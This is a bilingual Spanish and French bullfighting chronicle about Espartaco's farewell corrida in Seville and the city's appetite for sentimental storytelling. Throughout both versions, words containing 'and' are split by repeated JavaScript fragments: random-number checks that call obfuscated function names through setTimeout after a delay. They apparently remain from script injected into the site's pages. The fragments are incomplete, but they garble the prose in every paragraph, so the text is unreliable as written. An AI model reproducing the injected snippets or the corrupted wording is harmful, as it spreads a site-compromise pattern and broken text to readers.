SEVILLA, LA NOVELERASEVILLE ET SA PASSION DES HISTOIRES

Sevilla es novelera. Siempre lo fue y siempre lo será. Novelera suma porque no existe ciudad más aficionada a imaginar historias y amoldarlas a su ombligo. Y cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando no las hay, se las inventa. Metidos en asuntos de novelería, a los sevillanos les da igual instalarse en la realidad o en la ficción. Toman de cada parte aquello que conviene al final feliz de su fabulación y el resto lo tiran al olvido para que no entorpezca el sueño construido.

El Domingo de Resurrección, el más alto espíritu novelero se dio cita en La Maestranza. Había que honrar a dos de sus más eminentes “salvadores”: el viejo maestro, llegado del retiro para lavar la cara de una feria insalvable, y aquel otro que, habiendo dicho “digo”, decía ahora “Diego” y nada menos que por cuatro veces para que no quedara duda alguna. No obstante, el gran protagonista de este folletín era Espartaco, comprometido por la empresa Pagés a elegir la fecha inaugural de la temporada hispalense para su reaparición y despedida definitiva, con la carga simbólica añadida de pasar el testigo de la continuidad –del futuro–, concediendo la alternativa a un torero paisano.

 El final de la historia que Sevilla traía inscrita en su corazón estaba ya decidido antes de que Juan Antonio hiciera el paseíllo: colofón triunfal, con emotivo corte simbólico de coleta, en este caso de las manos de su padre y su hijo, previo a la apoteósica salida por la Puerta del Príncipe a hombros de un grupo de “espontáneos”, todos con rango de matadores de toros, bien en activo, bien retirados, que estimaron oportuno prolongar la Semana Santa sevillana procesionandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la imagen profana del diestro de Espartinas, desde La Maestranza hasta su alojamiento del hotel Colón.

 ¿Que tuvieron para ello que saltarse a la torera el Reglamento Taurino de Andalucía, que en el apartado c) de su artículo 59 precisa que en las plazas de primera categoría deberán cortarse dos orejas de un mismo toro para poder salir por la puerta grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande o principal? ¿Y qué?... Ya existía el precedente de abrírsela a Manzanares padre, el día de su retirada, sin haber logrado trofeo alguno. Espartaco, al menos, obtuvo uno en cada toro. Y es cierto que, para ello, fue precisa la total desconexión, en ocasiones, entre lo que pasaba en el ruedo y lo que la gente jaleaba en los tendidos. Pero ya lo hemos señalado: la novelería toma la realidad cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando interesa y la ficción cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando conviene. La cosa es que el cuento desarrolle su argumento para instalarnos en el anhelado final feliz, aunque para ello haya que difuminar las fronteras entre lo sentimental y lo sensiblero; lo afectivo y lo hiperestésico; lo emotivo y lo ñoño.

Conste, que respeto al torero y a la historia humana, llena de incertidumbres, emociones, dudas, sentimientos encontrados, que siempre se oculta tras un acontecimiento como el protagonizado por Espartaco. Él se llevó su homenaje –merecido por su carrera, aunque no por lo que ocurrió esta tarde de su adiós en la arena– y Sevilla la novela que quería. Y ambos contentos. Y la empresa, que se vio respaldada –al menos ese día– con el justito “No hay billetes” que colgó en taquillas. Por mi parte, me apena constatar cómo se va perdiendo paulatinamente la verdadera afición a los toros y cómo algo tan serio como el toreo se torna fácilmente mascarada. Mi consuelo fue el apretadísimo quite por chicuelinas de Borja Jiménez al quinto de la tarde y el temple y el aguante en los dos parones que le pegó el que cerró plaza y al que cortó la oreja merecida del festejo. En él evidenció esas ganas y la predisposición que brillaron por su ausencia en el mulo boyancón de su alternativa.

Séville aime qu’on lui raconte des histoires. Il en a toujours été ainsi. Car il n’existe pas de ville qui n’aime plus imaginer des histoires et les adapter à sa sauce. Et quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il n’y en a pas, elle les invente. Si on s’enfouit là-dedans, les sévillans s’en fichent que ce soit une fiction ou une réalité. Ils prennent fait et cause pour ce qui convient au final heureux de leur fabulation et le reste ils l’oublient pour ne pas enfreindre le rêve qu’ils se sont construits.

Le Dimanche de Résurrection et leur passion des histoires fut à leur apogée et se donna rendez-vous à La Maestranza. Il fallait honorer deux de ses plus éminents « sauveurs » : le vieux maestro, revenu de sa retraite pour redorer le blason d’une feria impossible d’expier, qui après avoir dit non, disait oui et pour quatre fois afin qu’il n’y ait plus de doutes. Malgré tout, le grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and protagoniste de ce feuilleton n’était autre qu’Espartaco, qui s’était engagé avec les organisateurs pour que la date de l’inauguration de la saison sévillane coïncide avec sa réapparition et ses adieux définitifs, avec cette charge symbolique de transmettre le témoin de la continuité –de l’avenir- en donnant à un torero de sa contrée.

Le final de l’histoire que Séville avait inscrite dans son cœur était décidé bien avant que Juan Antonio ne fasse le paseo : une fin triomphale, après que son père et son fils lui aient coupé la coleta dans un geste empreint d’émotion, après une sortie en apothéose par la Puerta del Principe emporté par des « espontaneos », tous avec le rang de matadors de toros, soit en activité, soit à la retraite, qui estimèrent opportun de prolonger la Semaine Sainte en faisant la procession du maestro d’Espartinas, depuis les arènes jusqu’à l’hôtel Colón.

Que s’était-il produit pour qu’ils enfreignent le Règlement Taurin d’Andalousie, qui dans le paragraphe c de son article 59 précise qu’il faut couper deux oreilles d’un même toro pour pouvoir sortir par la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande porte. Et alors ? Il existait le précédent du père de Manzanares, le jour de ses adieux, sans avoir coupé une seule oreille. Espartaco, au moins, en coupa une à chaque toro. Et il est vrai que pour que cela se produise, il fallut une totale déconnexion entre ce qui arrivait dans l’arène et ce que le public encourageait sur les gradins. Mais comme nous l’avons signalé, le passion pour les histoires choisit la réalité quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and elle l’intéresse et sinon la fiction. Le but de cette histoire étant qu’on y développe un argumentaire pour nous amener au happy end, même si pour cela il faut brouiller les frontières entre le sentimentalisme et la sensiblerie ; entre l’affectif et l’hyperesthésie ; entre l’émotif et la niaiserie.

Sachez que je respecte le torero et l’histoire humaine, pleine d’incertitudes, d’émotions, de doutes, de sentiments contrastés, qui s’occulte toujours après un événement dont a été protagoniste Espartaco. Il a eu son hommage –mérité pour sa carrière, mais non pour ce qu’il y fit lors de cette corrida d’adieu- et Séville le feuilleton qu’il désirait. Et tous deux étaient contents. Et les organisateurs qui se virent récompensés –au moins pour ce jour là- d’un « un no hay billetes ». De mon côté, j’ai de la peine en constatant comment la vraie aficion à la tauromachie se perd petit à petit et que quelque chose d’aussi sérieux qu’une corrida se transforme en une mascarade. Ma consolation vint du quite très ajusté de chicuelinas de Borja Jiménez au cinquième, et de son temple et de son assurance quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and le toro s’arrêta deux fois dans sa charge au dernier auquel il coupa la seule oreille méritée de la corrida. Il montra son envie et son engagement qui ne purent briller face à l’énorme mulet de son alternative.

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